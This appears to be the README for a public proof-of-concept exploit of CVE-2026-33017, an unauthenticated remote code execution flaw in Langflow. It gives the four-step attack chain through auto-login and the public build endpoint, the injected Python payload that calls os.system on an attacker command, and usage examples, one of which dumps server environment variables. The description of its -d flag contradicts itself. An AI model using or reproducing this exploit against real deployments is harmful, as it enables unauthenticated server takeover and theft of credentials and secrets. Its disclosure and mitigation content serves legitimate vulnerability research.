
CVE ID: CVE-2026-33017
Affected Software: Langflow
Vulnerable Versions: <= 1.8.2
Fixed Version: >= 1.9.0
Severity: Critical
Author: r3nsi15
Date: 2026
Langflow exposes a public flow build endpoint (/api/v1/build_public_tmp/{flowID}/flow) that accepts
arbitrary CustomComponent code blocks and executes them server-side without authentication. By
injecting a malicious Python payload into the code field of a CustomComponent node, an unauthenticated
attacker can run arbitrary operating system commands with the privileges of the Langflow server process.
The attack chain first abuses the /api/v1/auto_login endpoint, which issues a bearer token without
requiring credentials when Langflow is running in its default auto-login configuration. Then it uses
that token to create a temporary public flow and trigger server-side code execution through the build
endpoint.
File: CVE-2026-33017_POC.py
requests librarypip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
Verify code execution:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Retrieve server environment variables:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Keep the flow alive after exploitation (skip cleanup):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
The exploit injects the following Python snippet into the code field of a CustomComponent node:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - dynamically imports the os module and executes the attacker-supplied shell command on the server.CustomComponent required to satisfy Langflow's component loader without raising a parse error.PUBLIC and the build endpoint is invoked on its public endpoint, meaning no session cookie or authentication token is required to trigger execution.Langflow's CustomComponent system allows arbitrary Python code to be submitted as part of a flow
definition. The /api/v1/build_public_tmp/{flowID}/flow endpoint builds and partially evaluates this
code server-side including module-level statements without sandboxing or restricting access to
Python built-ins such as __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
All four steps can be performed by an anonymous attacker against a default Langflow deployment.
LANGFLOW_AUTO_LOGIN=false) in any internet-facing deployment.This proof of concept is provided for educational and authorized security research purposes only. Use of this script against systems without explicit written permission is illegal and unethical. The author and contributors assume no liability for misuse.
| Endpoint | Method | Auth Required | Purpose |
|---|
/api/v1/auto_login | GET | No | Obtain bearer token (auto-login must be enabled) |
/api/v1/flows/ | POST | Yes (Bearer) | Create a new flow |
/api/v1/build_public_tmp/{flowID}/flow | POST | No (public) | Trigger build — vulnerable execution point |
/api/v1/flows/{flowID} | DELETE | Yes (Bearer) | Clean up the created flow |
| Flag | Long Form | Required | Description |
|---|
-u | --url | Yes | Base URL of the Langflow instance |
-c | --command | Yes | OS command to execute on the server |
-d | --delete | No | Delete the created flow after exploitation |